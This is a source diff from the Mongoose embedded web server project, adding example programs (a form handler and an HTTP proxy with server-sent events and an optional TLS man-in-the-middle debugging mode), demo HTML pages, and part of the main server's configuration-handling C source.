||||
"input_2: [%s]\n",
|
||||
post_data_len, post_data, post_data_len, input1, input2);
|
||||
} else {
|
||||
// Show HTML form.
|
||||
mg_printf(conn, "HTTP/1.0 200 OK\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"Content-Type: text/html\r\n\r\n%s",
|
||||
(int) strlen(html_form), html_form);
|
||||
}
|
||||
// Mark as processed
|
||||
return "";
|
||||
// Send reply to the client, showing submitted form values.
|
||||
// POST data is in conn->content, data length is in conn->content_len
|
||||
mg_send_header(conn, "Content-Type", "text/plain");
|
||||
mg_printf_data(conn,
|
||||
"Submitted data: [%.*s]\n"
|
||||
"Submitted data length: %d bytes\n"
|
||||
"input_1: [%s]\n"
|
||||
"input_2: [%s]\n",
|
||||
conn->content_len, conn->content,
|
||||
conn->content_len, var1, var2);
|
||||
} else {
|
||||
return NULL;
|
||||
// Show HTML form.
|
||||
mg_send_data(conn, html_form, strlen(html_form));
|
||||
}
|
||||
}
|
||||
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
if (ev == MG_REQUEST) {
|
||||
send_reply(conn);
|
||||
return MG_TRUE;
|
||||
} else if (ev == MG_AUTH) {
|
||||
return MG_TRUE;
|
||||
} else {
|
||||
return MG_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_context *ctx;
|
||||
const char *options[] = {"listening_ports", "8080", NULL};
|
||||
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||
|
||||
ctx = mg_start(&callback, NULL, options);
|
||||
getchar(); // Wait until user hits "enter"
|
||||
mg_stop(ctx);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
// Copyright (c) 2014 Cesanta Software Limited
|
||||
// All rights reserved
|
||||
//
|
||||
// To build and run this example:
|
||||
// git clone https://github.com/cesanta/net_skeleton.git
|
||||
// git clone https://github.com/cesanta/mongoose.git
|
||||
// cd mongoose/examples
|
||||
// make proxy
|
||||
// ./proxy
|
||||
//
|
||||
// Configure your browser to use localhost:2014 as a proxy for all protocols
|
||||
// Then, navigate to https://cesanta.com
|
||||
|
||||
#include "net_skeleton.h"
|
||||
#include "mongoose.h"
|
||||
|
||||
static int s_received_signal = 0;
|
||||
static struct mg_server *s_server = NULL;
|
||||
|
||||
#define SSE_CONNECTION ((void *) 1)
|
||||
|
||||
static void elog(int do_exit, const char *fmt, ...) {
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vfprintf(stderr, fmt, ap);
|
||||
va_end(ap);
|
||||
fputc('\n', stderr);
|
||||
if (do_exit) exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void signal_handler(int sig_num) {
|
||||
signal(sig_num, signal_handler);
|
||||
s_received_signal = sig_num;
|
||||
}
|
||||
|
||||
static int sse_push(struct mg_connection *conn, enum mg_event ev) {
|
||||
if (ev == MG_POLL && conn->connection_param == SSE_CONNECTION) {
|
||||
mg_printf(conn, "data: %s\r\n\r\n", (const char *) conn->callback_param);
|
||||
}
|
||||
return MG_TRUE;
|
||||
}
|
||||
|
||||
static void *sse_pusher_thread_func(void *param) {
|
||||
while (s_received_signal == 0) {
|
||||
mg_wakeup_server_ex(s_server, sse_push, "%lu %s",
|
||||
(unsigned long) time(NULL), (const char *) param);
|
||||
sleep(1);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Return: 1 if regular file, 2 if directory, 0 if not found
|
||||
static int exists(const char *path) {
|
||||
struct stat st;
|
||||
return stat(path, &st) != 0 ? 0 : S_ISDIR(st.st_mode) == 0 ? 1 : 2;
|
||||
}
|
||||
|
||||
// Return: 1 if regular file, 2 if directory, 0 if not found
|
||||
static int is_local_file(const char *uri, char *path, size_t path_len) {
|
||||
snprintf(path, path_len, "%s/%s",
|
||||
mg_get_option(s_server, "document_root"), uri);
|
||||
return exists(path);
|
||||
}
|
||||
|
||||
static int try_to_serve_locally(struct mg_connection *conn) {
|
||||
char path[500], buf[2000];
|
||||
int n, res;
|
||||
FILE *fp = NULL;
|
||||
|
||||
if ((res = is_local_file(conn->uri, path, sizeof(path))) == 2) {
|
||||
strncat(path, "/index.html", sizeof(path) - strlen(path) - 1);
|
||||
res = exists(path);
|
||||
printf("PATH: [%s]\n", path);
|
||||
}
|
||||
if (res == 0) return MG_FALSE;
|
||||
|
||||
if ((fp = fopen(path, "rb")) != NULL) {
|
||||
printf("Serving [%s] locally \n", path);
|
||||
mg_send_header(conn, "Connection", "close");
|
||||
mg_send_header(conn, "Content-Type", mg_get_mime_type(path, "text/plain"));
|
||||
while ((n = fread(buf, 1, sizeof(buf), fp)) > 0) {
|
||||
mg_send_data(conn, buf, n);
|
||||
}
|
||||
mg_send_data(conn, "", 0);
|
||||
fclose(fp);
|
||||
}
|
||||
return fp == NULL ? MG_FALSE : MG_TRUE;
|
||||
}
|
||||
|
||||
static int is_resource_present_locally(const char *uri) {
|
||||
char path[500];
|
||||
return is_local_file(uri, path, sizeof(path)) || strcmp(uri, "/api/sse") == 0;
|
||||
}
|
||||
|
||||
static int proxy_event_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
static const char target_url[] = "http://cesanta.com";
|
||||
static int target_url_size = sizeof(target_url) - 1;
|
||||
const char *host;
|
||||
|
||||
switch (ev) {
|
||||
case MG_REQUEST:
|
||||
host = mg_get_header(conn, "Host");
|
||||
printf("[%s] [%s] [%s]\n", conn->request_method, conn->uri,
|
||||
host == NULL ? "" : host);
|
||||
if (strstr(conn->uri, "/qqq") != NULL) s_received_signal = SIGTERM;
|
||||
|
||||
// Proxied HTTPS requests use "CONNECT foo.com:443"
|
||||
// Proxied HTTP requests use "GET http://..... "
|
||||
// Serve requests for target_url from the local FS.
|
||||
if (memcmp(conn->uri, target_url, target_url_size) == 0 &&
|
||||
is_resource_present_locally(conn->uri + target_url_size)) {
|
||||
conn->uri += target_url_size; // Leave only path in the URI
|
||||
}
|
||||
|
||||
if (strcmp(conn->uri, "/api/sse") == 0) {
|
||||
conn->connection_param = SSE_CONNECTION;
|
||||
mg_printf(conn, "%s", "HTTP/1.0 200 OK\r\n"
|
||||
"Content-Type: text/event-stream\r\n"
|
||||
"Cache-Control: no-cache\r\n\r\n");
|
||||
return MG_MORE;
|
||||
}
|
||||
|
||||
if (host != NULL && strstr(host, "cesanta") != NULL) {
|
||||
return try_to_serve_locally(conn);
|
||||
}
|
||||
|
||||
// Enable man-in-the-middle SSL mode for oracle.com
|
||||
if (!strcmp(conn->request_method, "CONNECT") &&
|
||||
!strcmp(host, "oracle.com")) {
|
||||
mg_terminate_ssl(conn, "ssl_cert.pem"); // MUST return MG_MORE after
|
||||
return MG_MORE;
|
||||
}
|
||||
|
||||
return MG_FALSE;
|
||||
case MG_AUTH:
|
||||
return MG_TRUE;
|
||||
default:
|
||||
return MG_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
static void setopt(struct mg_server *s, const char *opt, const char *val) {
|
||||
const char *err_msg = mg_set_option(s, opt, val);
|
||||
if (err_msg != NULL) {
|
||||
elog(1, "Error setting [%s]: [%s]", opt, err_msg);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
const char *cert = NULL, *ca_cert = NULL, *port = "2014";
|
||||
const char *mitm = NULL, *dump = NULL, *root = "proxy_web_root";
|
||||
int i;
|
||||
|
||||
// Parse command line options
|
||||
for (i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], "-ca_cert") == 0 && i + 1 < argc) {
|
||||
ca_cert = argv[++i];
|
||||
} else if (strcmp(argv[i], "-cert") == 0 && i + 1 < argc) {
|
||||
cert = argv[++i];
|
||||
} else if (strcmp(argv[i], "-port") == 0 && i + 1 < argc) {
|
||||
port = argv[++i];
|
||||
} else if (strcmp(argv[i], "-mitm") == 0 && i + 1 < argc) {
|
||||
mitm = argv[++i];
|
||||
} else if (strcmp(argv[i], "-root") == 0 && i + 1 < argc) {
|
||||
root = argv[++i];
|
||||
} else if (strcmp(argv[i], "-dump") == 0 && i + 1 < argc) {
|
||||
dump = argv[++i];
|
||||
} else {
|
||||
elog(1, "Usage: %s [-cert FILE] [-ca_cert FILE] [-port PORT]", argv[0]);
|
||||
}
|
||||
}
|
||||
|
||||
signal(SIGTERM, signal_handler);
|
||||
signal(SIGINT, signal_handler);
|
||||
|
||||
// Create and configure proxy server
|
||||
s_server = mg_create_server(NULL, &proxy_event_handler);
|
||||
setopt(s_server, "enable_proxy", "yes");
|
||||
setopt(s_server, "document_root", root);
|
||||
setopt(s_server, "listening_port", port);
|
||||
setopt(s_server, "ssl_certificate", cert);
|
||||
setopt(s_server, "ssl_ca_certificate", ca_cert);
|
||||
setopt(s_server, "hexdump_file", dump);
|
||||
setopt(s_server, "ssl_mitm_certs", mitm);
|
||||
|
||||
// Start two SSE pushing threads
|
||||
mg_start_thread(sse_pusher_thread_func, (void *) "sse_pusher_thread_1");
|
||||
mg_start_thread(sse_pusher_thread_func, (void *) "sse_pusher_thread_2");
|
||||
|
||||
// Start serving in the main thread
|
||||
printf("Starting on port %s\n", mg_get_option(s_server, "listening_port"));
|
||||
while (s_received_signal == 0) {
|
||||
mg_poll_server(s_server, 1000);
|
||||
}
|
||||
printf("Existing on signal %d\n", s_received_signal);
|
||||
mg_destroy_server(&s_server);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>App1 Index</title>
|
||||
<style>
|
||||
img { height: 40px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>App1 index page. Served locally from the the proxy server filesystem</h1>
|
||||
|
||||
<p>image that references non-existent local resource. Forwarded to
|
||||
the 'real' proxy target:</p>
|
||||
<img src="http://cesanta.com/images/logo.png" />
|
||||
|
||||
<p>Google logo via HTTPS (external resource, served by remote host):</p>
|
||||
<img src="https://www.google.ie/images/srpr/logo11w.png" />
|
||||
|
||||
<p>Same image via HTTP:</p>
|
||||
<img src="http://www.google.ie/images/srpr/logo11w.png" />
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,37 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>App2 Index</title>
|
||||
<meta charset="utf-8">
|
||||
<script>
|
||||
window.onload = function() {
|
||||
// Using secure websocket connection, wss://
|
||||
var ws = new WebSocket('wss://echo.websocket.org');
|
||||
var div = document.getElementById('events');
|
||||
ws.onmessage = function(ev) {
|
||||
var el = document.createElement('div');
|
||||
el.innerHTML = 'websocket message: ' + ev.data;
|
||||
div.appendChild(el);
|
||||
// Keep only last 5 messages in the list
|
||||
while (div.childNodes.length > 5) div.removeChild(div.firstChild);
|
||||
};
|
||||
|
||||
// Send random stuff to the websocket connection periodically.
|
||||
// websocket server much echo that stuff back.
|
||||
window.setInterval(function() {
|
||||
var d = new Date();
|
||||
ws.send(d.toString());
|
||||
}, 1000);
|
||||
};
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<h1>App2 index page. Served locally from the
|
||||
the proxy's filesystem.</h1>
|
||||
<p>
|
||||
Following div shows proxy forwarding of websocket connection, served by
|
||||
ws://echo.websocket.org:
|
||||
</p>
|
||||
|
||||
<div id="events"></div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,29 @@
|
||||
<html>
|
||||
<head>
|
||||
<title> proxy index </title>
|
||||
<script type="text/javascript">
|
||||
window.onload = function() {
|
||||
var es = new EventSource("/api/sse");
|
||||
var div = document.getElementById('events');
|
||||
es.onmessage = function(ev) {
|
||||
var el = document.createElement('div');
|
||||
el.innerHTML = 'sse message: ' + ev.data;
|
||||
div.appendChild(el);
|
||||
// Keep only last 5 messages in the list
|
||||
while (div.childNodes.length > 5) div.removeChild(div.firstChild);
|
||||
};
|
||||
};
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<h1> proxy index page.</h1>
|
||||
<ul>
|
||||
<li><a href="app1">App1</a> - App1 root</li>
|
||||
<li><a href="app2">App2</a> - App2 root</li>
|
||||
</ul>
|
||||
|
||||
<h2>SSE pushes, done by separate threads at random times:</h2>
|
||||
<div id="events"></div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,98 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>WebSocket Test</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<style type="text/css">
|
||||
body {
|
||||
background-color: #cde; margin: 0;
|
||||
padding: 0; font: 14px Helvetica, Arial, sans-serif;
|
||||
}
|
||||
div.content {
|
||||
width: 800px; margin: 2em auto; padding: 20px 50px;
|
||||
background-color: #fff; border-radius: 1em;
|
||||
}
|
||||
#messages {
|
||||
border: 2px solid #fec; border-radius: 1em;
|
||||
height: 10em; overflow: scroll; padding: 0.5em 1em;
|
||||
}
|
||||
a:link, a:visited { color: #69c; text-decoration: none; }
|
||||
@media (max-width: 700px) {
|
||||
body { background-color: #fff; }
|
||||
div.content {
|
||||
width: auto; margin: 0 auto; border-radius: 0;
|
||||
padding: 1em;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
<script language="javascript" type="text/javascript">
|
||||
|
||||
var rooms = [];
|
||||
var ws = new WebSocket('ws://' + location.host + '/ws');
|
||||
|
||||
if (!window.console) { window.console = { log: function() {} } };
|
||||
|
||||
ws.onopen = function(ev) { console.log(ev); };
|
||||
ws.onerror = function(ev) { console.log(ev); };
|
||||
ws.onclose = function(ev) { console.log(ev); };
|
||||
ws.onmessage = function(ev) {
|
||||
console.log(ev);
|
||||
var m = (ev.data || '').match(/^(\S+) (.+)/);
|
||||
if (m[1] == 'id') {
|
||||
document.getElementById('my_id').innerText = m[2];
|
||||
} else if (m[1] == 'msg') {
|
||||
var div = document.createElement('div');
|
||||
div.innerHTML = m[2];
|
||||
document.getElementById('messages').appendChild(div);
|
||||
}
|
||||
};
|
||||
|
||||
window.onload = function() {
|
||||
document.getElementById('send_button').onclick = function(ev) {
|
||||
var msg = document.getElementById('send_input').value;
|
||||
ws.send('msg ' + msg);
|
||||
};
|
||||
document.getElementById('room_sel').onchange = function(ev) {
|
||||
var roomName = this.value || '?';
|
||||
ws.send('join ' + roomName);
|
||||
};
|
||||
};
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="content">
|
||||
<h1>Websocket PubSub Demonstration</h1>
|
||||
|
||||
<p>
|
||||
This page demonstrates how Mongoose web server could be used to implement
|
||||
<a href="http://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern">
|
||||
publish–subscribe pattern</a>. Open this page in several browser
|
||||
windows. Each window initiates persistent
|
||||
<a href="http://en.wikipedia.org/wiki/WebSocket">WebSocket</a>
|
||||
connection with Mongoose, making each browser window a websocket client.
|
||||
Join a room, send messages, and see messages sent by other clients.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
My ID: <b><span id="my_id"></b></span>
|
||||
</p>
|
||||
<p>
|
||||
Join room: <select id="room_sel">
|
||||
<option value="">-- select room -- </option>
|
||||
<option>A</option>
|
||||
<option>B</option>
|
||||
</select>
|
||||
</p>
|
||||
|
||||
<div id="messages">
|
||||
</div>
|
||||
|
||||
<p>
|
||||
<input type="text" id="send_input" />
|
||||
<button id="send_button">Send Message</button>
|
||||
</p>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,507 @@
|
||||
// Copyright (c) 2004-2013 Sergey Lyubka
|
||||
// Copyright (c) 2013-2014 Cesanta Software Limited
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
|
||||
#undef UNICODE // Use ANSI WinAPI functions
|
||||
#undef _UNICODE // Use multibyte encoding on Windows
|
||||
#define _MBCS // Use multibyte encoding on Windows
|
||||
#define _WIN32_WINNT 0x500 // Enable MIIM_BITMAP
|
||||
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
|
||||
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
|
||||
#undef WIN32_LEAN_AND_MEAN // Let windows.h always include winsock2.h
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <stddef.h>
|
||||
#include <stdarg.h>
|
||||
#include <ctype.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#include <direct.h> // For chdir()
|
||||
#include <winsvc.h>
|
||||
#include <shlobj.h>
|
||||
|
||||
#ifndef PATH_MAX
|
||||
#define PATH_MAX MAX_PATH
|
||||
#endif
|
||||
|
||||
#ifndef S_ISDIR
|
||||
#define S_ISDIR(x) ((x) & _S_IFDIR)
|
||||
#endif
|
||||
|
||||
#define DIRSEP '\\'
|
||||
#define snprintf _snprintf
|
||||
#define vsnprintf _vsnprintf
|
||||
#define sleep(x) Sleep((x) * 1000)
|
||||
#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
|
||||
#define SIGCHLD 0
|
||||
typedef struct _stat file_stat_t;
|
||||
#define stat(x, y) _stat((x), (y))
|
||||
#else
|
||||
typedef struct stat file_stat_t;
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef IOS
|
||||
#include <ifaddrs.h>
|
||||
#endif
|
||||
|
||||
#define DIRSEP '/'
|
||||
#define __cdecl
|
||||
#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
|
||||
#endif // _WIN32
|
||||
|
||||
#define MAX_OPTIONS 100
|
||||
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
|
||||
|
||||
#ifndef MVER
|
||||
#define MVER MONGOOSE_VERSION
|
||||
#endif
|
||||
|
||||
static int exit_flag;
|
||||
static char server_name[50]; // Set by init_server_name()
|
||||
static char s_config_file[PATH_MAX]; // Set by process_command_line_arguments
|
||||
static struct mg_server *server; // Set by start_mongoose()
|
||||
static const char *s_default_document_root = ".";
|
||||
static const char *s_default_listening_port = "8080";
|
||||
static char **s_argv = { NULL };
|
||||
|
||||
static void set_options(char *argv[]);
|
||||
|
||||
#if !defined(CONFIG_FILE)
|
||||
#define CONFIG_FILE "mongoose.conf"
|
||||
#endif /* !CONFIG_FILE */
|
||||
|
||||
static void __cdecl signal_handler(int sig_num) {
|
||||
// Reinstantiate signal handler
|
||||
signal(sig_num, signal_handler);
|
||||
|
||||
#ifndef _WIN32
|
||||
// Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
|
||||
// reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
|
||||
// fails if SIGCHLD is ignored, making system() non-functional.
|
||||
if (sig_num == SIGCHLD) {
|
||||
do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
|
||||
} else
|
||||
#endif
|
||||
{ exit_flag = sig_num; }
|
||||
}
|
||||
|
||||
static void vnotify(const char *fmt, va_list ap, int must_exit) {
|
||||
char msg[200];
|
||||
|
||||
vsnprintf(msg, sizeof(msg), fmt, ap);
|
||||
fprintf(stderr, "%s\n", msg);
|
||||
|
||||
if (must_exit) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
static void notify(const char *fmt, ...) {
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vnotify(fmt, ap, 0);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
static void die(const char *fmt, ...) {
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vnotify(fmt, ap, 1);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
static void show_usage_and_exit(void) {
|
||||
const char **names;
|
||||
int i;
|
||||
|
||||
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
|
||||
MVER, __DATE__);
|
||||
fprintf(stderr, "Usage:\n");
|
||||
#ifndef MONGOOSE_NO_AUTH
|
||||
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
|
||||
#endif
|
||||
fprintf(stderr, " mongoose [config_file]\n");
|
||||
fprintf(stderr, " mongoose [-option value ...]\n");
|
||||
fprintf(stderr, "\nOPTIONS:\n");
|
||||
|
||||
names = mg_get_valid_option_names();
|
||||
for (i = 0; names[i] != NULL; i += 2) {
|
||||
fprintf(stderr, " -%s %s\n",
|
||||
names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define EV_HANDLER NULL
|
||||
|
||||
static char *sdup(const char *str) {
|
||||
char *p;
|
||||
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
|
||||
strcpy(p, str);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
static void set_option(char **options, const char *name, const char *value) {
|
||||
int i;
|
||||
|
||||
for (i = 0; i < MAX_OPTIONS - 3; i++) {
|
||||
if (options[i] == NULL) {
|
||||
options[i] = sdup(name);
|
||||
options[i + 1] = sdup(value);
|
||||
options[i + 2] = NULL;
|
||||
break;
|
||||
} else if (!strcmp(options[i], name)) {
|
||||
free(options[i + 1]);
|
||||
options[i + 1] = sdup(value);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (i == MAX_OPTIONS - 3) {
|
||||
die("%s", "Too many options specified");
|
||||
}
|
||||
}
|
||||
|
||||
static void process_command_line_arguments(char *argv[], char **options) {
|
||||
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)],
|
||||
*p, cpath[PATH_MAX];
|
||||
FILE *fp = NULL;
|
||||
size_t i, cmd_line_opts_start = 1, line_no = 0;
|
||||
|
||||
// Should we use a config file ?
|
||||
if (argv[1] != NULL && argv[1][0] != '-') {
|
||||
snprintf(cpath, sizeof(cpath), "%s", argv[1]);
|
||||
cmd_line_opts_start = 2;
|
||||
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
|
||||
// No command line flags specified. Look where binary lives
|
||||
snprintf(cpath, sizeof(cpath), "%s", CONFIG_FILE);
|
||||
} else {
|
||||
snprintf(cpath, sizeof(cpath), "%.*s%c%s",
|
||||
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
|
||||
}
|
||||
abs_path(cpath, s_config_file, sizeof(s_config_file));
|
||||
|
||||
fp = fopen(s_config_file, "r");
|
||||
|
||||
// If config file was set in command line and open failed, die
|
||||
if (cmd_line_opts_start == 2 && fp == NULL) {
|
||||
die("Cannot open config file %s: %s", s_config_file, strerror(errno));
|
||||
}
|
||||
|
||||
// Load config file settings first
|
||||
if (fp != NULL) {
|
||||
fprintf(stderr, "Loading config file %s\n", s_config_file);
|
||||
|
||||
// Loop over the lines in config file
|
||||
while (fgets(line, sizeof(line), fp) != NULL) {
|
||||
line_no++;
|
||||
|
||||
// Ignore empty lines and comments
|
||||
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
|
||||
if (line[i] == '#' || line[i] == '\0') {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
|
||||
printf("%s: line %d is invalid, ignoring it:\n %s",
|
||||
s_config_file, (int) line_no, line);
|
||||
} else {
|
||||
set_option(options, opt, val);
|
||||
}
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
// If we're under MacOS and started by launchd, then the second
|
||||
// argument is process serial number, -psn_.....
|
||||
// In this case, don't process arguments at all.
|
||||
if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
|
||||
// Handle command line flags.
|
||||
// They override config file and default settings.
|
||||
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
|
||||
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
set_option(options, &argv[i][1], argv[i + 1]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void init_server_name(void) {
|
||||
const char *descr = "";
|
||||
snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s%s",
|
||||
MVER, descr);
|
||||
}
|
||||
|
||||
static int is_path_absolute(const char *path) {
|
||||
#ifdef _WIN32
|
||||
return path != NULL &&
|
||||
((path[0] == '\\' && path[1] == '\\') || // UNC path, e.g. \\server\dir
|
||||
(isalpha(path[0]) && path[1] == ':' && path[2] == '\\')); // E.g. X:\dir
|
||||
#else
|
||||
return path != NULL && path[0] == '/';
|
||||
#endif
|
||||
}
|
||||
|
||||
static char *get_option(char **options, const char *option_name) {
|
||||
int i;
|
||||
|
||||
for (i = 0; options[i] != NULL; i++)
|
||||
if (!strcmp(options[i], option_name))
|
||||
return options[i + 1];
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *serving_thread_func(void *param) {
|
||||
struct mg_server *srv = (struct mg_server *) param;
|
||||
while (exit_flag == 0) {
|
||||
mg_poll_server(srv, 1000);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int path_exists(const char *path, int is_dir) {
|
||||
file_stat_t st;
|
||||
return path == NULL || (stat(path, &st) == 0 &&
|
||||
((S_ISDIR(st.st_mode) ? 1 : 0) == is_dir));
|
||||
}
|
||||
|
||||
static void verify_existence(char **options, const char *name, int is_dir) {
|
||||
const char *path = get_option(options, name);
|
||||
if (!path_exists(path, is_dir)) {
|
||||
notify("Invalid path for %s: [%s]: (%s). Make sure that path is either "
|
||||
"absolute, or it is relative to mongoose executable.",
|
||||
name, path, strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static void set_absolute_path(char *options[], const char *option_name) {
|
||||
char path[PATH_MAX], abs[PATH_MAX], *option_value;
|
||||
const char *p;
|
||||
|
||||
// Check whether option is already set
|
||||
option_value = get_option(options, option_name);
|
||||
|
||||
// If option is already set and it is an absolute path,
|
||||
// leave it as it is -- it's already absolute.
|
||||
if (option_value != NULL && !is_path_absolute(option_value)) {
|
||||
// Not absolute. Use the directory where mongoose executable lives
|
||||
// be the relative directory for everything.
|
||||
// Extract mongoose executable directory into path.
|
||||
if ((p = strrchr(s_config_file, DIRSEP)) == NULL) {
|
||||
getcwd(path, sizeof(path));
|
||||
} else {
|
||||
snprintf(path, sizeof(path), "%.*s", (int) (p - s_config_file),
|
||||
s_config_file);
|
||||
}
|
||||
|
||||
strncat(path, "/", sizeof(path) - 1);
|
||||
strncat(path, option_value, sizeof(path) - 1);
|
||||
|
||||
// Absolutize the path, and set the option
|
||||
abs_path(path, abs, sizeof(abs));
|
||||
set_option(options, option_name, abs);
|
||||
}
|
||||
}
|
||||
|
||||
#ifndef MONGOOSE_NO_AUTH
|
||||
int modify_passwords_file(const char *fname, const char *domain,
|
||||
const char *user, const char *pass) {
|
||||
int found;
|
||||
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
|
||||
FILE *fp, *fp2;
|
||||
|
||||
found = 0;
|
||||
fp = fp2 = NULL;
|
||||
|
||||
// Regard empty password as no password - remove user record.
|
||||
if (pass != NULL && pass[0] == '\0') {
|
||||
pass = NULL;
|
||||
}
|
||||
|
||||
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
|
||||
|
||||
// Create the file if does not exist
|
||||
if ((fp = fopen(fname, "a+")) != NULL) {
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
// Open the given file and temporary file
|
||||
if ((fp = fopen(fname, "r")) == NULL) {
|
||||
return 0;
|
||||
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
|
||||
fclose(fp);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Copy the stuff to temporary file
|
||||
while (fgets(line, sizeof(line), fp) != NULL) {
|
||||
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!strcmp(u, user) && !strcmp(d, domain)) {
|
||||
found++;
|
||||
if (pass != NULL) {
|
||||
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
|
||||
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
|
||||
}
|
||||
} else {
|
||||
fprintf(fp2, "%s", line);
|
||||
}
|
||||
}
|
||||
|
||||
// If new user, just add it
|
||||
if (!found && pass != NULL) {
|
||||
